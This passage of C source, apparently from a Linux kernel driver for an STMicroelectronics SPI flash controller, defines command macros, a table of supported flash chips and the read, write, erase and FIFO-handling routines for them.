STFSM_INST_STA_WR1_2\t\tSTFSM_INSTR(STFSM_OPC_STA,\t0x3)\n\n#define STFSM_INST_MODE\t\t\tSTFSM_INSTR(STFSM_OPC_MODE,\t0)\n#define STFSM_INST_DUMMY\t\tSTFSM_INSTR(STFSM_OPC_DUMMY,\t0)\n#define STFSM_INST_WAIT\t\t\tSTFSM_INSTR(STFSM_OPC_WAIT,\t0)\n#define STFSM_INST_STOP\t\t\tSTFSM_INSTR(STFSM_OPC_STOP,\t0)\n\n#define STFSM_DEFAULT_EMI_FREQ 100000000UL /* 100 MHz */\n#define STFSM_DEFAULT_WR_TIME (STFSM_DEFAULT_EMI_FREQ * (15/1000)) /* 15ms */\n\n#define STFSM_FLASH_SAFE_FREQ 10000000UL /* 10 MHz */\n\n#define STFSM_MAX_WAIT_SEQ_MS 1000 /* FSM execution time */\n\n/* S25FLxxxS commands */\n#define S25FL_CMD_WRITE4_1_1_4 0x34\n#define S25FL_CMD_SE4 0xdc\n#define S25FL_CMD_CLSR 0x30\n#define S25FL_CMD_DYBWR 0xe1\n#define S25FL_CMD_DYBRD 0xe0\n#define S25FL_CMD_WRITE4 0x12 /* Note, opcode clashes with\n\t\t\t\t\t* 'SPINOR_OP_WRITE_1_4_4'\n\t\t\t\t\t* as found on N25Qxxx devices! */\n\n/* Status register */\n#define FLASH_STATUS_BUSY 0x01\n#define FLASH_STATUS_WEL 0x02\n#define FLASH_STATUS_BP0 0x04\n#define FLASH_STATUS_BP1 0x08\n#define FLASH_STATUS_BP2 0x10\n#define FLASH_STATUS_SRWP0 0x80\n#define FLASH_STATUS_TIMEOUT 0xff\n/* S25FL Error Flags */\n#define S25FL_STATUS_E_ERR 0x20\n#define S25FL_STATUS_P_ERR 0x40\n\n#define N25Q_CMD_WRVCR 0x81\n#define N25Q_CMD_RDVCR 0x85\n#define N25Q_CMD_RDVECR 0x65\n#define N25Q_CMD_RDNVCR 0xb5\n#define N25Q_CMD_WRNVCR 0xb1\n\n#define FLASH_PAGESIZE 256\t\t\t/* In Bytes */\n#define FLASH_PAGESIZE_32 (FLASH_PAGESIZE / 4)\t/* In uint32_t */\n#define FLASH_MAX_BUSY_WAIT (300 * HZ)\t/* Maximum 'CHIPERASE' time */\n\n/*\n * Flags to tweak operation of default read/write/erase routines\n */\n#define CFG_READ_TOGGLE_32BIT_ADDR 0x00000001\n#define CFG_WRITE_TOGGLE_32BIT_ADDR 0x00000002\n#define CFG_ERASESEC_TOGGLE_32BIT_ADDR 0x00000008\n#define CFG_S25FL_CHECK_ERROR_FLAGS 0x00000010\n\nstruct stfsm_seq {\n\tuint32_t data_size;\n\tuint32_t addr1;\n\tuint32_t addr2;\n\tuint32_t addr_cfg;\n\tuint32_t seq_opc[5];\n\tuint32_t mode;\n\tuint32_t dummy;\n\tuint32_t status;\n\tuint8_t seq[16];\n\tuint32_t seq_cfg;\n} __packed __aligned(4);\n\nstruct stfsm {\n\tstruct device\t\t*dev;\n\tvoid __iomem\t\t*base;\n\tstruct resource\t\t*region;\n\tstruct mtd_info\t\tmtd;\n\tstruct mutex\t\tlock;\n\tstruct flash_info *info;\n\tstruct clk *clk;\n\n\tuint32_t configuration;\n\tuint32_t fifo_dir_delay;\n\tbool booted_from_spi;\n\tbool reset_signal;\n\tbool reset_por;\n\n\tstruct stfsm_seq stfsm_seq_read;\n\tstruct stfsm_seq stfsm_seq_write;\n\tstruct stfsm_seq stfsm_seq_en_32bit_addr;\n};\n\n/* Parameters to configure a READ or WRITE FSM sequence */\nstruct seq_rw_config {\n\tuint32_t flags; /* flags to support config */\n\tuint8_t cmd; /* FLASH command */\n\tint write; /* Write Sequence */\n\tuint8_t addr_pads; /* No. of addr pads (MODE & DUMMY) */\n\tuint8_t data_pads; /* No. of data pads */\n\tuint8_t mode_data; /* MODE data */\n\tuint8_t mode_cycles; /* No. of MODE cycles */\n\tuint8_t dummy_cycles; /* No. of DUMMY cycles */\n};\n\n/* SPI Flash Device Table */\nstruct flash_info {\n\tchar *name;\n\t/*\n\t * JEDEC id zero means \"no ID\" (most older chips); otherwise it has\n\t * a high byte of zero plus three data bytes: the manufacturer id,\n\t * then a two byte device id.\n\t */\n\tu32 jedec_id;\n\tu16 ext_id;\n\t/*\n\t * The size listed here is what works with SPINOR_OP_SE, which isn't\n\t * necessarily called a \"sector\" by the vendor.\n\t */\n\tunsigned sector_size;\n\tu16 n_sectors;\n\tu32 flags;\n\t/*\n\t * Note, where FAST_READ is supported, freq_max specifies the\n\t * FAST_READ frequency, not the READ frequency.\n\t */\n\tu32 max_freq;\n\tint (*config)(struct stfsm *);\n};\n\nstatic int stfsm_n25q_config(struct stfsm *fsm);\nstatic int stfsm_mx25_config(struct stfsm *fsm);\nstatic int stfsm_s25fl_config(struct stfsm *fsm);\nstatic int stfsm_w25q_config(struct stfsm *fsm);\n\nstatic struct flash_info flash_types[] = {\n\t/*\n\t * ST Microelectronics/Numonyx --\n\t * (newer production versions may have feature updates\n\t * (eg faster operating frequency)\n\t */\n#define M25P_FLAG (FLASH_FLAG_READ_WRITE | FLASH_FLAG_READ_FAST)\n\t{ \"m25p40\", 0x202013, 0, 64 * 1024, 8, M25P_FLAG, 25, NULL },\n\t{ \"m25p80\", 0x202014, 0, 64 * 1024, 16, M25P_FLAG, 25, NULL },\n\t{ \"m25p16\", 0x202015, 0, 64 * 1024, 32, M25P_FLAG, 25, NULL },\n\t{ \"m25p32\", 0x202016, 0, 64 * 1024, 64, M25P_FLAG, 50, NULL },\n\t{ \"m25p64\", 0x202017, 0, 64 * 1024, 128, M25P_FLAG, 50, NULL },\n\t{ \"m25p128\", 0x202018, 0, 256 * 1024, 64, M25P_FLAG, 50, NULL },\n\n#define M25PX_FLAG (FLASH_FLAG_READ_WRITE |\t\\\n\t\t FLASH_FLAG_READ_FAST |\t\\\n\t\t FLASH_FLAG_READ_1_1_2 |\t\\\n\t\t FLASH_FLAG_WRITE_1_1_2)\n\t{ \"m25px32\", 0x207116, 0, 64 * 1024, 64, M25PX_FLAG, 75, NULL },\n\t{ \"m25px64\", 0x207117, 0, 64 * 1024, 128, M25PX_FLAG, 75, NULL },\n\n\t/* Macronix MX25xxx\n\t * - Support for 'FLASH_FLAG_WRITE_1_4_4' is omitted for devices\n\t * where operating frequency must be reduced.\n\t */\n#define MX25_FLAG (FLASH_FLAG_READ_WRITE |\t\\\n\t\t FLASH_FLAG_READ_FAST |\t\\\n\t\t FLASH_FLAG_READ_1_1_2 |\t\\\n\t\t FLASH_FLAG_READ_1_2_2 |\t\\\n\t\t FLASH_FLAG_READ_1_1_4 |\t\\\n\t\t FLASH_FLAG_SE_4K |\t\\\n\t\t FLASH_FLAG_SE_32K)\n\t{ \"mx25l3255e\", 0xc29e16, 0, 64 * 1024, 64,\n\t (MX25_FLAG | FLASH_FLAG_WRITE_1_4_4), 86,\n\t stfsm_mx25_config},\n\t{ \"mx25l25635e\", 0xc22019, 0, 64*1024, 512,\n\t (MX25_FLAG | FLASH_FLAG_32BIT_ADDR | FLASH_FLAG_RESET), 70,\n\t stfsm_mx25_config },\n\t{ \"mx25l25655e\", 0xc22619, 0, 64*1024, 512,\n\t (MX25_FLAG | FLASH_FLAG_32BIT_ADDR | FLASH_FLAG_RESET), 70,\n\t stfsm_mx25_config},\n\n#define N25Q_FLAG (FLASH_FLAG_READ_WRITE |\t\\\n\t\t FLASH_FLAG_READ_FAST |\t\\\n\t\t FLASH_FLAG_READ_1_1_2 |\t\\\n\t\t FLASH_FLAG_READ_1_2_2 |\t\\\n\t\t FLASH_FLAG_READ_1_1_4 |\t\\\n\t\t FLASH_FLAG_READ_1_4_4 |\t\\\n\t\t FLASH_FLAG_WRITE_1_1_2 |\t\\\n\t\t FLASH_FLAG_WRITE_1_2_2 |\t\\\n\t\t FLASH_FLAG_WRITE_1_1_4 |\t\\\n\t\t FLASH_FLAG_WRITE_1_4_4)\n\t{ \"n25q128\", 0x20ba18, 0, 64 * 1024, 256, N25Q_FLAG, 108,\n\t stfsm_n25q_config },\n\t{ \"n25q256\", 0x20ba19, 0, 64 * 1024, 512,\n\t N25Q_FLAG | FLASH_FLAG_32BIT_ADDR, 108, stfsm_n25q_config },\n\n\t/*\n\t * Spansion S25FLxxxP\n\t * - 256KiB and 64KiB sector variants (identified by ext. JEDEC)\n\t */\n#define S25FLXXXP_FLAG (FLASH_FLAG_READ_WRITE |\t\\\n\t\t\tFLASH_FLAG_READ_1_1_2 |\t\\\n\t\t\tFLASH_FLAG_READ_1_2_2 |\t\\\n\t\t\tFLASH_FLAG_READ_1_1_4 |\t\\\n\t\t\tFLASH_FLAG_READ_1_4_4 |\t\\\n\t\t\tFLASH_FLAG_WRITE_1_1_4 |\t\\\n\t\t\tFLASH_FLAG_READ_FAST)\n\t{ \"s25fl032p\", 0x010215, 0x4d00, 64 * 1024, 64, S25FLXXXP_FLAG, 80,\n\t stfsm_s25fl_config},\n\t{ \"s25fl129p0\", 0x012018, 0x4d00, 256 * 1024, 64, S25FLXXXP_FLAG, 80,\n\t stfsm_s25fl_config },\n\t{ \"s25fl129p1\", 0x012018, 0x4d01, 64 * 1024, 256, S25FLXXXP_FLAG, 80,\n\t stfsm_s25fl_config },\n\n\t/*\n\t * Spansion S25FLxxxS\n\t * - 256KiB and 64KiB sector variants (identified by ext. JEDEC)\n\t * - RESET# signal supported by die but not bristled out on all\n\t * package types. The package type is a function of board design,\n\t * so this information is captured in the board's flags.\n\t * - Supports 'DYB' sector protection. Depending on variant, sectors\n\t * may default to locked state on power-on.\n\t */\n#define S25FLXXXS_FLAG (S25FLXXXP_FLAG |\t\\\n\t\t\tFLASH_FLAG_RESET |\t\\\n\t\t\tFLASH_FLAG_DYB_LOCKING)\n\t{ \"s25fl128s0\", 0x012018, 0x0300, 256 * 1024, 64, S25FLXXXS_FLAG, 80,\n\t stfsm_s25fl_config },\n\t{ \"s25fl128s1\", 0x012018, 0x0301, 64 * 1024, 256, S25FLXXXS_FLAG, 80,\n\t stfsm_s25fl_config },\n\t{ \"s25fl256s0\", 0x010219, 0x4d00, 256 * 1024, 128,\n\t S25FLXXXS_FLAG | FLASH_FLAG_32BIT_ADDR, 80, stfsm_s25fl_config },\n\t{ \"s25fl256s1\", 0x010219, 0x4d01, 64 * 1024, 512,\n\t S25FLXXXS_FLAG | FLASH_FLAG_32BIT_ADDR, 80, stfsm_s25fl_config },\n\n\t/* Winbond -- w25x \"blocks\" are 64K, \"sectors\" are 4KiB */\n#define W25X_FLAG (FLASH_FLAG_READ_WRITE |\t\\\n\t\t FLASH_FLAG_READ_FAST |\t\\\n\t\t FLASH_FLAG_READ_1_1_2 |\t\\\n\t\t FLASH_FLAG_WRITE_1_1_2)\n\t{ \"w25x40\", 0xef3013, 0, 64 * 1024, 8, W25X_FLAG, 75, NULL },\n\t{ \"w25x80\", 0xef3014, 0, 64 * 1024, 16, W25X_FLAG, 75, NULL },\n\t{ \"w25x16\", 0xef3015, 0, 64 * 1024, 32, W25X_FLAG, 75, NULL },\n\t{ \"w25x32\", 0xef3016, 0, 64 * 1024, 64, W25X_FLAG, 75, NULL },\n\t{ \"w25x64\", 0xef3017, 0, 64 * 1024, 128, W25X_FLAG, 75, NULL },\n\n\t/* Winbond -- w25q \"blocks\" are 64K, \"sectors\" are 4KiB */\n#define W25Q_FLAG (FLASH_FLAG_READ_WRITE |\t\\\n\t\t FLASH_FLAG_READ_FAST |\t\\\n\t\t FLASH_FLAG_READ_1_1_2 |\t\\\n\t\t FLASH_FLAG_READ_1_2_2 |\t\\\n\t\t FLASH_FLAG_READ_1_1_4 |\t\\\n\t\t FLASH_FLAG_READ_1_4_4 |\t\\\n\t\t FLASH_FLAG_WRITE_1_1_4)\n\t{ \"w25q80\", 0xef4014, 0, 64 * 1024, 16, W25Q_FLAG, 80,\n\t stfsm_w25q_config },\n\t{ \"w25q16\", 0xef4015, 0, 64 * 1024, 32, W25Q_FLAG, 80,\n\t stfsm_w25q_config },\n\t{ \"w25q32\", 0xef4016, 0, 64 * 1024, 64, W25Q_FLAG, 80,\n\t stfsm_w25q_config },\n\t{ \"w25q64\", 0xef4017, 0, 64 * 1024, 128, W25Q_FLAG, 80,\n\t stfsm_w25q_config },\n\n\t/* Sentinel */\n\t{ NULL, 0x000000, 0, 0, 0, 0, 0, NULL },\n};\n\n/*\n * FSM message sequence configurations:\n *\n * All configs are presented in order of preference\n */\n\n/* Default READ configurations, in order of preference */\nstatic struct seq_rw_config default_read_configs[] = {\n\t{FLASH_FLAG_READ_1_4_4, SPINOR_OP_READ_1_4_4,\t0, 4, 4, 0x00, 2, 4},\n\t{FLASH_FLAG_READ_1_1_4, SPINOR_OP_READ_1_1_4,\t0, 1, 4, 0x00, 4, 0},\n\t{FLASH_FLAG_READ_1_2_2, SPINOR_OP_READ_1_2_2,\t0, 2, 2, 0x00, 4, 0},\n\t{FLASH_FLAG_READ_1_1_2, SPINOR_OP_READ_1_1_2,\t0, 1, 2, 0x00, 0, 8},\n\t{FLASH_FLAG_READ_FAST,\tSPINOR_OP_READ_FAST,\t0, 1, 1, 0x00, 0, 8},\n\t{FLASH_FLAG_READ_WRITE, SPINOR_OP_READ,\t\t0, 1, 1, 0x00, 0, 0},\n\t{0x00,\t\t\t0,\t\t\t0, 0, 0, 0x00, 0, 0},\n};\n\n/* Default WRITE configurations */\nstatic struct seq_rw_config default_write_configs[] = {\n\t{FLASH_FLAG_WRITE_1_4_4, SPINOR_OP_WRITE_1_4_4, 1, 4, 4, 0x00, 0, 0},\n\t{FLASH_FLAG_WRITE_1_1_4, SPINOR_OP_WRITE_1_1_4, 1, 1, 4, 0x00, 0, 0},\n\t{FLASH_FLAG_WRITE_1_2_2, SPINOR_OP_WRITE_1_2_2, 1, 2, 2, 0x00, 0, 0},\n\t{FLASH_FLAG_WRITE_1_1_2, SPINOR_OP_WRITE_1_1_2, 1, 1, 2, 0x00, 0, 0},\n\t{FLASH_FLAG_READ_WRITE, SPINOR_OP_WRITE, 1, 1, 1, 0x00, 0, 0},\n\t{0x00,\t\t\t 0,\t\t\t0, 0, 0, 0x00, 0, 0},\n};\n\n/*\n * [N25Qxxx] Configuration\n */\n#define N25Q_VCR_DUMMY_CYCLES(x)\t(((x) & 0xf) << 4)\n#define N25Q_VCR_XIP_DISABLED\t\t((uint8_t)0x1 << 3)\n#define N25Q_VCR_WRAP_CONT\t\t0x3\n\n/* N25Q 3-byte Address READ configurations\n *\t- 'FAST' variants configured for 8 dummy cycles.\n *\n * Note, the number of dummy cycles used for 'FAST' READ operations is\n * configurable and would normally be tuned according to the READ command and\n * operating frequency. However, this applies universally to all 'FAST' READ\n * commands, including those used by the SPIBoot controller, and remains in\n * force until the device is power-cycled. Since the SPIBoot controller is\n * hard-wired to use 8 dummy cycles, we must configure the device to also use 8\n * cycles.\n */\nstatic struct seq_rw_config n25q_read3_configs[] = {\n\t{FLASH_FLAG_READ_1_4_4, SPINOR_OP_READ_1_4_4,\t0, 4, 4, 0x00, 0, 8},\n\t{FLASH_FLAG_READ_1_1_4, SPINOR_OP_READ_1_1_4,\t0, 1, 4, 0x00, 0, 8},\n\t{FLASH_FLAG_READ_1_2_2, SPINOR_OP_READ_1_2_2,\t0, 2, 2, 0x00, 0, 8},\n\t{FLASH_FLAG_READ_1_1_2, SPINOR_OP_READ_1_1_2,\t0, 1, 2, 0x00, 0, 8},\n\t{FLASH_FLAG_READ_FAST,\tSPINOR_OP_READ_FAST,\t0, 1, 1, 0x00, 0, 8},\n\t{FLASH_FLAG_READ_WRITE, SPINOR_OP_READ,\t 0, 1, 1, 0x00, 0, 0},\n\t{0x00,\t\t\t0,\t\t\t0, 0, 0, 0x00, 0, 0},\n};\n\n/* N25Q 4-byte Address READ configurations\n *\t- use special 4-byte address READ commands (reduces overheads, and\n * reduces risk of hitting watchdog reset issues).\n *\t- 'FAST' variants configured for 8 dummy cycles (see note above.)\n */\nstatic struct seq_rw_config n25q_read4_configs[] = {\n\t{FLASH_FLAG_READ_1_4_4, SPINOR_OP_READ4_1_4_4,\t0, 4, 4, 0x00, 0, 8},\n\t{FLASH_FLAG_READ_1_1_4, SPINOR_OP_READ4_1_1_4,\t0, 1, 4, 0x00, 0, 8},\n\t{FLASH_FLAG_READ_1_2_2, SPINOR_OP_READ4_1_2_2,\t0, 2, 2, 0x00, 0, 8},\n\t{FLASH_FLAG_READ_1_1_2, SPINOR_OP_READ4_1_1_2,\t0, 1, 2, 0x00, 0, 8},\n\t{FLASH_FLAG_READ_FAST,\tSPINOR_OP_READ4_FAST,\t0, 1, 1, 0x00, 0, 8},\n\t{FLASH_FLAG_READ_WRITE, SPINOR_OP_READ4,\t0, 1, 1, 0x00, 0, 0},\n\t{0x00,\t\t\t0,\t\t\t0, 0, 0, 0x00, 0, 0},\n};\n\n/*\n * [MX25xxx] Configuration\n */\n#define MX25_STATUS_QE\t\t\t(0x1 << 6)\n\nstatic int stfsm_mx25_en_32bit_addr_seq(struct stfsm_seq *seq)\n{\n\tseq->seq_opc[0] = (SEQ_OPC_PADS_1 |\n\t\t\t SEQ_OPC_CYCLES(8) |\n\t\t\t SEQ_OPC_OPCODE(SPINOR_OP_EN4B) |\n\t\t\t SEQ_OPC_CSDEASSERT);\n\n\tseq->seq[0] = STFSM_INST_CMD1;\n\tseq->seq[1] = STFSM_INST_WAIT;\n\tseq->seq[2] = STFSM_INST_STOP;\n\n\tseq->seq_cfg = (SEQ_CFG_PADS_1 |\n\t\t\tSEQ_CFG_ERASE |\n\t\t\tSEQ_CFG_READNOTWRITE |\n\t\t\tSEQ_CFG_CSDEASSERT |\n\t\t\tSEQ_CFG_STARTSEQ);\n\n\treturn 0;\n}\n\n/*\n * [S25FLxxx] Configuration\n */\n#define STFSM_S25FL_CONFIG_QE\t\t(0x1 << 1)\n\n/*\n * S25FLxxxS devices provide three ways of supporting 32-bit addressing: Bank\n * Register, Extended Address Modes, and a 32-bit address command set. The\n * 32-bit address command set is used here, since it avoids any problems with\n * entering a state that is incompatible with the SPIBoot Controller.\n */\nstatic struct seq_rw_config stfsm_s25fl_read4_configs[] = {\n\t{FLASH_FLAG_READ_1_4_4, SPINOR_OP_READ4_1_4_4, 0, 4, 4, 0x00, 2, 4},\n\t{FLASH_FLAG_READ_1_1_4, SPINOR_OP_READ4_1_1_4, 0, 1, 4, 0x00, 0, 8},\n\t{FLASH_FLAG_READ_1_2_2, SPINOR_OP_READ4_1_2_2, 0, 2, 2, 0x00, 4, 0},\n\t{FLASH_FLAG_READ_1_1_2, SPINOR_OP_READ4_1_1_2, 0, 1, 2, 0x00, 0, 8},\n\t{FLASH_FLAG_READ_FAST, SPINOR_OP_READ4_FAST, 0, 1, 1, 0x00, 0, 8},\n\t{FLASH_FLAG_READ_WRITE, SPINOR_OP_READ4, 0, 1, 1, 0x00, 0, 0},\n\t{0x00, 0, 0, 0, 0, 0x00, 0, 0},\n};\n\nstatic struct seq_rw_config stfsm_s25fl_write4_configs[] = {\n\t{FLASH_FLAG_WRITE_1_1_4, S25FL_CMD_WRITE4_1_1_4, 1, 1, 4, 0x00, 0, 0},\n\t{FLASH_FLAG_READ_WRITE, S25FL_CMD_WRITE4, 1, 1, 1, 0x00, 0, 0},\n\t{0x00, 0, 0, 0, 0, 0x00, 0, 0},\n};\n\n/*\n * [W25Qxxx] Configuration\n */\n#define W25Q_STATUS_QE\t\t\t(0x1 << 1)\n\nstatic struct stfsm_seq stfsm_seq_read_jedec = {\n\t.data_size = TRANSFER_SIZE(8),\n\t.seq_opc[0] = (SEQ_OPC_PADS_1 |\n\t\t SEQ_OPC_CYCLES(8) |\n\t\t SEQ_OPC_OPCODE(SPINOR_OP_RDID)),\n\t.seq = {\n\t\tSTFSM_INST_CMD1,\n\t\tSTFSM_INST_DATA_READ,\n\t\tSTFSM_INST_STOP,\n\t},\n\t.seq_cfg = (SEQ_CFG_PADS_1 |\n\t\t SEQ_CFG_READNOTWRITE |\n\t\t SEQ_CFG_CSDEASSERT |\n\t\t SEQ_CFG_STARTSEQ),\n};\n\nstatic struct stfsm_seq stfsm_seq_read_status_fifo = {\n\t.data_size = TRANSFER_SIZE(4),\n\t.seq_opc[0] = (SEQ_OPC_PADS_1 |\n\t\t SEQ_OPC_CYCLES(8) |\n\t\t SEQ_OPC_OPCODE(SPINOR_OP_RDSR)),\n\t.seq = {\n\t\tSTFSM_INST_CMD1,\n\t\tSTFSM_INST_DATA_READ,\n\t\tSTFSM_INST_STOP,\n\t},\n\t.seq_cfg = (SEQ_CFG_PADS_1 |\n\t\t SEQ_CFG_READNOTWRITE |\n\t\t SEQ_CFG_CSDEASSERT |\n\t\t SEQ_CFG_STARTSEQ),\n};\n\nstatic struct stfsm_seq stfsm_seq_erase_sector = {\n\t/* 'addr_cfg' configured during initialisation */\n\t.seq_opc = {\n\t\t(SEQ_OPC_PADS_1 | SEQ_OPC_CYCLES(8) |\n\t\t SEQ_OPC_OPCODE(SPINOR_OP_WREN) | SEQ_OPC_CSDEASSERT),\n\n\t\t(SEQ_OPC_PADS_1 | SEQ_OPC_CYCLES(8) |\n\t\t SEQ_OPC_OPCODE(SPINOR_OP_SE)),\n\t},\n\t.seq = {\n\t\tSTFSM_INST_CMD1,\n\t\tSTFSM_INST_CMD2,\n\t\tSTFSM_INST_ADD1,\n\t\tSTFSM_INST_ADD2,\n\t\tSTFSM_INST_STOP,\n\t},\n\t.seq_cfg = (SEQ_CFG_PADS_1 |\n\t\t SEQ_CFG_READNOTWRITE |\n\t\t SEQ_CFG_CSDEASSERT |\n\t\t SEQ_CFG_STARTSEQ),\n};\n\nstatic struct stfsm_seq stfsm_seq_erase_chip = {\n\t.seq_opc = {\n\t\t(SEQ_OPC_PADS_1 | SEQ_OPC_CYCLES(8) |\n\t\t SEQ_OPC_OPCODE(SPINOR_OP_WREN) | SEQ_OPC_CSDEASSERT),\n\n\t\t(SEQ_OPC_PADS_1 | SEQ_OPC_CYCLES(8) |\n\t\t SEQ_OPC_OPCODE(SPINOR_OP_CHIP_ERASE) | SEQ_OPC_CSDEASSERT),\n\t},\n\t.seq = {\n\t\tSTFSM_INST_CMD1,\n\t\tSTFSM_INST_CMD2,\n\t\tSTFSM_INST_WAIT,\n\t\tSTFSM_INST_STOP,\n\t},\n\t.seq_cfg = (SEQ_CFG_PADS_1 |\n\t\t SEQ_CFG_ERASE |\n\t\t SEQ_CFG_READNOTWRITE |\n\t\t SEQ_CFG_CSDEASSERT |\n\t\t SEQ_CFG_STARTSEQ),\n};\n\nstatic struct stfsm_seq stfsm_seq_write_status = {\n\t.seq_opc[0] = (SEQ_OPC_PADS_1 | SEQ_OPC_CYCLES(8) |\n\t\t SEQ_OPC_OPCODE(SPINOR_OP_WREN) | SEQ_OPC_CSDEASSERT),\n\t.seq_opc[1] = (SEQ_OPC_PADS_1 | SEQ_OPC_CYCLES(8) |\n\t\t SEQ_OPC_OPCODE(SPINOR_OP_WRSR)),\n\t.seq = {\n\t\tSTFSM_INST_CMD1,\n\t\tSTFSM_INST_CMD2,\n\t\tSTFSM_INST_STA_WR1,\n\t\tSTFSM_INST_STOP,\n\t},\n\t.seq_cfg = (SEQ_CFG_PADS_1 |\n\t\t SEQ_CFG_READNOTWRITE |\n\t\t SEQ_CFG_CSDEASSERT |\n\t\t SEQ_CFG_STARTSEQ),\n};\n\n/* Dummy sequence to read one byte of data from flash into the FIFO */\nstatic const struct stfsm_seq stfsm_seq_load_fifo_byte = {\n\t.data_size = TRANSFER_SIZE(1),\n\t.seq_opc[0] = (SEQ_OPC_PADS_1 |\n\t\t SEQ_OPC_CYCLES(8) |\n\t\t SEQ_OPC_OPCODE(SPINOR_OP_RDID)),\n\t.seq = {\n\t\tSTFSM_INST_CMD1,\n\t\tSTFSM_INST_DATA_READ,\n\t\tSTFSM_INST_STOP,\n\t},\n\t.seq_cfg = (SEQ_CFG_PADS_1 |\n\t\t SEQ_CFG_READNOTWRITE |\n\t\t SEQ_CFG_CSDEASSERT |\n\t\t SEQ_CFG_STARTSEQ),\n};\n\nstatic int stfsm_n25q_en_32bit_addr_seq(struct stfsm_seq *seq)\n{\n\tseq->seq_opc[0] = (SEQ_OPC_PADS_1 | SEQ_OPC_CYCLES(8) |\n\t\t\t SEQ_OPC_OPCODE(SPINOR_OP_EN4B));\n\tseq->seq_opc[1] = (SEQ_OPC_PADS_1 | SEQ_OPC_CYCLES(8) |\n\t\t\t SEQ_OPC_OPCODE(SPINOR_OP_WREN) |\n\t\t\t SEQ_OPC_CSDEASSERT);\n\n\tseq->seq[0] = STFSM_INST_CMD2;\n\tseq->seq[1] = STFSM_INST_CMD1;\n\tseq->seq[2] = STFSM_INST_WAIT;\n\tseq->seq[3] = STFSM_INST_STOP;\n\n\tseq->seq_cfg = (SEQ_CFG_PADS_1 |\n\t\t\tSEQ_CFG_ERASE |\n\t\t\tSEQ_CFG_READNOTWRITE |\n\t\t\tSEQ_CFG_CSDEASSERT |\n\t\t\tSEQ_CFG_STARTSEQ);\n\n\treturn 0;\n}\n\nstatic inline int stfsm_is_idle(struct stfsm *fsm)\n{\n\treturn readl(fsm->base + SPI_FAST_SEQ_STA) & 0x10;\n}\n\nstatic inline uint32_t stfsm_fifo_available(struct stfsm *fsm)\n{\n\treturn (readl(fsm->base + SPI_FAST_SEQ_STA) >> 5) & 0x7f;\n}\n\nstatic inline void stfsm_load_seq(struct stfsm *fsm,\n\t\t\t\t const struct stfsm_seq *seq)\n{\n\tvoid __iomem *dst = fsm->base + SPI_FAST_SEQ_TRANSFER_SIZE;\n\tconst uint32_t *src = (const uint32_t *)seq;\n\tint words = sizeof(*seq) / sizeof(*src);\n\n\tBUG_ON(!stfsm_is_idle(fsm));\n\n\twhile (words--) {\n\t\twritel(*src, dst);\n\t\tsrc++;\n\t\tdst += 4;\n\t}\n}\n\nstatic void stfsm_wait_seq(struct stfsm *fsm)\n{\n\tunsigned long deadline;\n\tint timeout = 0;\n\n\tdeadline = jiffies + msecs_to_jiffies(STFSM_MAX_WAIT_SEQ_MS);\n\n\twhile (!timeout) {\n\t\tif (time_after_eq(jiffies, deadline))\n\t\t\ttimeout = 1;\n\n\t\tif (stfsm_is_idle(fsm))\n\t\t\treturn;\n\n\t\tcond_resched();\n\t}\n\n\tdev_err(fsm->dev, \"timeout on sequence completion\\n\");\n}\n\nstatic void stfsm_read_fifo(struct stfsm *fsm, uint32_t *buf, uint32_t size)\n{\n\tuint32_t remaining = size >> 2;\n\tuint32_t avail;\n\tuint32_t words;\n\n\tdev_dbg(fsm->dev, \"Reading %d bytes from FIFO\\n\", size);\n\n\tBUG_ON((((uintptr_t)buf) & 0x3) || (size & 0x3));\n\n\twhile (remaining) {\n\t\tfor (;;) {\n\t\t\tavail = stfsm_fifo_available(fsm);\n\t\t\tif (avail)\n\t\t\t\tbreak;\n\t\t\tudelay(1);\n\t\t}\n\t\twords = min(avail, remaining);\n\t\tremaining -= words;\n\n\t\treadsl(fsm->base + SPI_FAST_SEQ_DATA_REG, buf, words);\n\t\tbuf += words;\n\t}\n}\n\n/*\n * Clear the data FIFO\n *\n * Typically, this is only required during driver initialisation, where no\n * assumptions can be made regarding the state of the FIFO.\n *\n * The process of clearing the FIFO is complicated by fact that while it is\n * possible for the FIFO to contain an arbitrary number of bytes [1], the\n * SPI_FAST_SEQ_STA register only reports the number of complete 32-bit words\n * present. Furthermore, data can only be drained from the FIFO by reading\n * complete 32-bit words.\n *\n * With this in mind, a two stage process is used to the clear the FIFO:\n *\n * 1. Read any complete 32-bit words from the FIFO, as reported by the\n * SPI_FAST_SEQ_STA register.\n *\n * 2. Mop up any remaining bytes. At this point, it is not known if there\n * are 0, 1, 2, or 3 bytes in the FIFO. To handle all cases, a dummy FSM\n * sequence is used to load one byte at a time, until a complete 32-bit\n * word is formed; at most, 4 bytes will need to be loaded.\n *\n * [1] It is theoretically possible for the FIFO to contain an arbitrary number\n * of bits. However, since there are no known use-cases that leave\n * incomplete bytes in the FIFO, only words and bytes are considered here.\n */\nstatic void stfsm_clear_fifo(struct stfsm *fsm)\n{\n\tconst struct stfsm_seq *seq = &stfsm_seq_load_fifo_byte;\n\tuint32_t words, i;\n\n\t/* 1. Clear any 32-bit words */\n\twords = stfsm_fifo_available(fsm);\n\tif (words) {\n\t\tfor (i = 0; i < words; i++)\n\t\t\treadl(fsm->base + SPI_FAST_SEQ_DATA_REG);\n\t\tdev_dbg(fsm->dev, \"cleared %d words from FIFO\\n\", words);\n\t}\n\n\t/*\n\t * 2. Clear any remaining bytes\n\t * - Load the FIFO, one byte at a time, until a complete 32-bit word\n\t * is available.\n\t */\n\tfor (i = 0, words = 0; i < 4 && !words; i++) {\n\t\tstfsm_load_seq(fsm, seq);\n\t\tstfsm_wait_seq(fsm);\n\t\twords = stfsm_fifo_available(fsm);\n\t}\n\n\t/* - A single word must be available now */\n\tif (words != 1) {\n\t\tdev_err(fsm->dev, \"failed to clear bytes from the data FIFO\\n\");\n\t\treturn;\n\t}\n\n\t/* - Read the 32-bit word */\n\treadl(fsm->base + SPI_FAST_SEQ_DATA_REG);\n\n\tdev_dbg(fsm->dev, \"cleared %d byte(s) from the data FIFO\\n\", 4 - i);\n}\n\nstatic int stfsm_write_fifo(struct stfsm *fsm, const uint32_t *buf,\n\t\t\t uint32_t size)\n{\n\tuint32_t words = size >> 2;\n\n\tdev_dbg(fsm->dev, \"writing %d bytes to FIFO\\n\", size);\n\n\tBUG_ON((((uintptr_t)buf) & 0x3) || (size & 0x3));\n\n\twritesl(fsm->base + SPI_FAST_SEQ_DATA_REG, buf, words);\n\n\treturn size;\n}\n\nstatic int stfsm_enter_32bit_addr(struct stfsm *fsm, int enter)\n{\n\tstruct stfsm_seq *seq = 